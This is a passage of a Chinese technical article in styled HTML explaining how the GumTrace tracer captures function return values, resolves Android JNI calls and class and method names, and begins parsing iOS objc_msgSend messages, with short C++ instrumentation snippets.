4px;font-size: 1em;line-height: 1.357em;"><span leaf="">objc_release</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NSClassFromString</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CC_SHA256</span></code><span leaf="">等</span></p></td></tr></tbody></table><p data-line="722" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">值得注意的是，对于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__memcpy_aarch64_simd</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__strncmp_aarch64</span></code><span leaf="">等架构特定的优化变体，GumTrace同样能正确识别。</span></p><h3 data-line="724" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">9.4 返回值捕获</span></h3><p data-line="726" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">函数的返回值不能在调用前获取，需要等到下一条指令的callout中读取</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x0</span></code><span leaf="">。GumTrace通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">last_func_context</span></code><span leaf="">实现这种跨指令的状态传递：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="728" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 调用前：记录函数信息，设置 call = true</span></span><br/><span leaf="">self-&gt;last_func_context.name = func_maps[jump_addr].</span><span style="color: rgb(0, 122, 204);"><span leaf="">c_str</span></span><span leaf="">();</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(&amp;self-&gt;last_func_context.cpu_context, cpu_context, </span><span style="color: rgb(0, 122, 204);"><span leaf="">sizeof</span></span><span leaf="">(GumCpuContext));</span><br/><span leaf="">self-&gt;last_func_context.call = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><br/><span leaf="">FuncPrinter::</span><span style="color: rgb(0, 122, 204);"><span leaf="">before</span></span><span leaf="">(&amp;self-&gt;last_func_context);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 下一条指令的 callout 中：</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (self-&gt;last_func_context.call) {</span><br/><span leaf="">    self-&gt;last_func_context.call = </span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;</span><br/><span leaf="">    FuncPrinter::</span><span style="color: rgb(0, 122, 204);"><span leaf="">after</span></span><span leaf="">(&amp;self-&gt;last_func_context, cpu_context);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 写入返回值信息</span></span><br/><span leaf="">}</span></code></pre><p data-line="743" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">before</span></code><span leaf="">在调用发生时打印函数名和参数，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">after</span></code><span leaf="">在调用返回后打印返回值（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x0</span></code><span leaf="">）。对于JNI函数，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">after</span></code><span leaf="">还会额外解析JNI对象的内容。</span></p><h2 data-line="745" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">10 Android JNI追踪</span></h2><p data-line="747" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对于Android逆向来说，JNI函数的追踪能力是GumTrace的一大亮点。</span></p><h3 data-line="749" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">10.1 JNI函数表解析</span></h3><p data-line="751" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在获取到JNIEnv指针后，GumTrace遍历JNI函数表建立</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">地址→函数名</span></code><span leaf="">的映射：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="753" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> jni_func_table = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf="">)jni_env-&gt;functions;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> index = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> &amp;func_name: jni_func_names) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> func_addr_ptr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> **)(jni_func_table + index * </span><span style="color: rgb(0, 122, 204);"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *));</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> func_addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf="">)(*func_addr_ptr);</span><br/><span leaf="">    jni_func_maps[func_addr] = func_name;</span><br/><span leaf="">    index++;</span><br/><span leaf="">}</span></code></pre><p data-line="764" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">jni_func_names</span></code><span leaf="">数组包含了所有JNI接口函数的名称（按JNI函数表的顺序排列）。通过指针算术直接从函数表中读取每个函数的实际地址。</span></p><h3 data-line="766" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">10.2 类名和方法名缓存</span></h3><p data-line="768" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当追踪到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FindClass</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">GetMethodID</span></code><span leaf="">调用时，GumTrace缓存返回的jclass和jmethodID与名称的对应关系：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="770" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(func_context-&gt;name, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;FindClass&#34;</span></span><span leaf="">) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> jclass_name[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1024</span></span><span leaf="">] = {</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">};</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> jclass_name_n = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">read_string</span></span><span leaf="">(jclass_name_n, jclass_name,</span><br/><span leaf="">                (</span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">*)func_context-&gt;cpu_context.x[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">]);</span><br/><span leaf="">    instance-&gt;jni_classes[curr_cpu_context-&gt;x[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">]] = jclass_name;</span><br/><span leaf="">}</span></code></pre><p data-line="780" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">后续当</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CallObjectMethod</span></code><span leaf="">等函数被调用时，可以通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x1</span></code><span leaf="">（jclass）和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x2</span></code><span leaf="">（jmethodID）查缓存，直接打印出Java类名和方法名，而不是难以理解的原始指针值。</span></p><h3 data-line="782" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">10.3 JNI字符串解析</span></h3><p data-line="784" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对于涉及JNI字符串的函数，GumTrace直接调用JNI API读取字符串内容：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="786" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">auto</span></span><span leaf=""> jstr = (jstring)(func_context-&gt;cpu_context.x[reg_index]);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *cstr = instance-&gt;jni_env-&gt;</span><span style="color: rgb(0, 122, 204);"><span leaf="">GetStringUTFChars</span></span><span leaf="">(jstr, </span><span style="color: rgb(163, 21, 21);"><span leaf="">nullptr</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 写入日志</span></span><br/><span leaf="">instance-&gt;jni_env-&gt;</span><span style="color: rgb(0, 122, 204);"><span leaf="">ReleaseStringUTFChars</span></span><span leaf="">(jstr, cstr);</span></code></pre><p data-line="793" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这种做法虽然简单直接，但需要注意调用时机——必须在JNI环境有效时执行，否则会导致崩溃。</span></p><h2 data-line="795" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">11 iOS ObjC追踪</span></h2><p data-line="797" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">iOS平台的GumTrace额外支持Objective-C消息的深度解析。</span></p><h3 data-line="799" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">11.1 objc_msgSend拦截</span></h3><p data-line="801" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ObjC的所有方法调用最终都通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">objc_msgSend</span></code><span leaf="">分发。GumTrace拦截这个函数后，解析其两个固定参数：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="803" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (func_name_str == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;objc_msgSend&#34;</span></span><span leaf="">) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> selector_ptr = func_context-&gt;cpu_context.x[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">];</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *selector_name = </span><span style="color: rgb(0, 122, 204);"><span leaf="">sel_getName</span></span><span leaf="">((SEL)selector_ptr);</span><br/><span leaf="">    id target = (id)func_context-&gt;cpu_context.x[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">];</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* gotClassName = </span><span style="color: rgb(0, 122, 204);"><span leaf="">get_class_name</span></span><span leaf="">(target);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 格式化为 [ClassName selectorName]</span></span><br/><span leaf="">}</span></code></pre><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x0</span></code><p><span leaf="">：接收者对象（self）</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 